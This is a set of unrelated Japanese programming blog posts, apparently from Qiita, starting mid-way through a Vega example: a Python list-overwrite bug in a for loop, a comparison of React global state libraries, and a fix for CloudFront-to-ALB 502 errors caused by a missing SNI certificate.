   {'a': 'E', 'b': 7},
   {'a': 'F', 'b': 2},
   {'a': 'F', 'b': 5}]}}
```



[^1]:Vega はjsonでデータや描画の設定を記述することで、視覚化できるツール。いろんなグラフを表現できます。
for文で意外とやりがちなミス

#### 背景
「あれ？このAPIちゃんと動いてなくね？」という恐ろしいバグを見つけてしまった時にAPI覗いて、意外とやってしまいがちなミスだなと思ったので書きます。


例えばこんなコード。意図してるのは複数のアイテムを処理すること。
```python
items_to_process = [101, 102, 103]
processed_items = []

for item_id in items_to_process:
    processed_items = [item_id * 10]

print(processed_items)
```
#### 問題の解説
だが実際には最後のアイテムのみがprocessed_itemsに保持される。
processed_itemsリストが各イテレーションで上書きされ、期待されていた全てのアイテムIDが処理されず、最終的に最後の要素のみが残る。

#### ちゃんとappendしよう
```python
items_to_process = [101, 102, 103]
processed_items = []

for item_id in items_to_process:
    # 各イテレーションで得られたアイテムをリストに追加し、全てのアイテムが処理されるようにする
    processed_items.append(item_id * 10)

print(processed_items)  # 期待通り、全てのアイテムIDが処理された結果が出力される
```
appendしてループを使ったリスト操作時の変数上書きを防ごう。

おわり
Reactのグローバルステート管理ライブラリを比較してみた(自学用メモね)

# 自己紹介

著者のイナバくんは、ニジボックスでフロントエンドエンジニアをしていて、とある会社に常駐しています。
プライベートでは、登山やカメラや禁煙などに嗜んでいます。

イナバくんはグローバルステート童貞ですが、業務でライブラリ選定することになったので、速やかにインプットします。

業務では、ローカルステート・サーバーキャッシュはすでに使っています。

- ローカルステート: useState, useReducer
- サーバーキャッシュ: [ReactQuery](https://tanstack.com/query/latest/)

# ライブラリのリスト

[npm trends](https://npmtrends.com/jotai-vs-mobx-vs-recoil-vs-redux-vs-zustand)で2023/12 現在のインストール数の順番は下記のとおり。

1. Redux
2. Zustand
3. Jotai
4. Recoil

※ React Context API も比較対象とします。

Redux がやはり圧倒的シェアを持っています。



# 1. Atom 方式

## 1-1. Recoil

Recoilは現在ライブラリ開発が停止しているので使うことはないですが、Atom方式の思想を理解するためにインプットします。

```react:global-state.ts
// atomは複数作成できる
export const globalState = atom({
  key: 'globalState', // 一意のキー
  default: '', // デフォルト値
});
```

```react:component.tsx
// 複数のページ・コンポーネントで使える
const [state, setState] = useRecoilState(globalState);
```

useStateを複数のページに跨って共有できるような書き味。

中央集権的に管理されているStore型と違い、Atomは独立・分散配置されています。
Atom方式では、データの流れは親→子→孫 とトップダウンではなく、任意のコンポーネントでデータを定義して、双方向に渡すことができます。


## 1-2. Jotai

Recoil インスパイアのライブラリ。

```react:global-state.ts
// atomは複数作成できる
export const countAtom = atom(0); // 初期値 = 0
```

```react:component.tsx
// 複数のページ・コンポーネントで使える
const [count, setCount] = useAtom(countAtom);
```

書き味はRecoilとほぼ同じ。
JotaiはRecoilと違ってAtomのkeyを設定する必要がありません。

# 2. Store 方式

## 2-1. Redux(+ Redux Toolkit)

Reduxは概念が多くて大変なんだクポ〜。

## 2-2. Context API(useContext)

```react:parent.tsx
export const sampleContext = createContext();

const Parent = () => {
  const [count, setCount] = useState(0); // コンテキストに入れるstate
  
  return (
    // contextの数だけProviderを作成する必要あり
    <sampleContext.Provider value={count}>
      <Child/>
    </sampleContext.Provider>
  )
}
```

```react:child.tsx
const Child = () => {
  const context = useContext(sampleContext); // contextを取得
  
  return <p>{context}</p>;
}
```

コードはシンプルで分かりやすいですが、グローバルステートの数が増えるとProviderネスト地獄になります。
また、コンテキストを更新するとステートを使っているコンポーネントは再レンダリングされます。

小規模のプロダクトでグローバルステートが少ない場合はマッチしそうです。

## 2-3. Zustand

Redux インスパイア。

# 参考文献

- [トップダウン型の状態管理 (#Redux #Zustand )と比較して知るボトムアップ型の状態管理 (#Recoil #Jotai )](https://zenn.dev/jotaifriends/articles/d714f9c16c1d3a)
- [React の状態管理ライブラリ9選](https://zenn.dev/kazukix/articles/react-state-management-libraries#zustand)
- [React hooksを基礎から理解する (useContext編)](https://qiita.com/seira/items/fccdf4e73c59c491558d)
- [「3種類」で管理するReactのState戦略](https://zenn.dev/knowledgework/articles/607ec0c9b0408d)
【AWS】CloudFrontとALB間での502エラー

# はじめに:
CloudFrontとALB間で502エラーが出てWebページのURLにアクセスしても、正しく表示されなかったことについて書きたいと思います。


# 問題の説明:
- AWSのネットワーク構成は、Route53でドメイン取得して、CloudFront(CDN)→ALB(負荷分散、プロキシ)→ECS Fargateコンテナ(フロント、バックエンド)と接続する構成
- ブラウザでALBのDNS名にアクセスすると、アプリのトップページは表示される
- Route53で登録したドメインをCloudFrontのカスタムドメインに設定
- Route53でALBのDNS名にルーティングしたalb.***.comというサブドメインをAレコードで登録

これらの状況で登録したドメインにブラウザでアクセスすると以下のように502エラーが発生

![スクリーンショット 2024-03-27 22.03.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2672823/287359f8-a7af-285f-414a-7ce8881c0db2.png)

エラーメッセージから、CloudFront周りがうまく行っていないんだろうなぁということが推察されました。

# 原因と解決方法：
色々と調べる中、AWS公式の502エラーの説明を見ると
- CloudFrontのオリジンに正しくALBのドメインが当たっていない
- ACM証明書のドメインとCloudFrontのドメインが一致していない
- ACM証明書がALBに適切に当たっていない
- ACM証明書の期限が切れている
などが考えられることが書かれていました。

１つずつ要因を探っていくと、結果的にALBにホストドメインの証明書が正しく当たっていなかったことが原因でした。
サブドメインの証明書が当たっているだけで、肝心のホストドメインの証明書がついていませんでした。

ALBに複数ドメインを設定する場合は、デフォルト証明書以外にもSNIのリスナー証明書に追加する必要がありました。
ただホストとサブ一緒に発行していれば、見落とすことはなかったので、基本的にホストとサブは同じ証明書で発行するのが良いかと思いました。

![スクリーンショット 2024-03-27 22.24.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2672823/2ce15727-7ed1-a411-9018-31ee3b3ef142.png)



# 参考資料:
https://docs.aws.amazon.com/ja_jp/AmazonCloudFront/latest/DeveloperGuide/http-502-bad-gateway.html

https://www.sunnycloud.jp/column/20230706-01/

https://dev.classmethod.jp/articles/alb-support-sni/

https://blog.serverworks.co.jp/2022/07/01/090030#%EF%BC%91%E3%83%9B%E3%82%B9%E3%83%88%E3%82%BE%E3%83%BC%E3%83%B3%E3%81%AE%E4%BD%9C%E6%88%90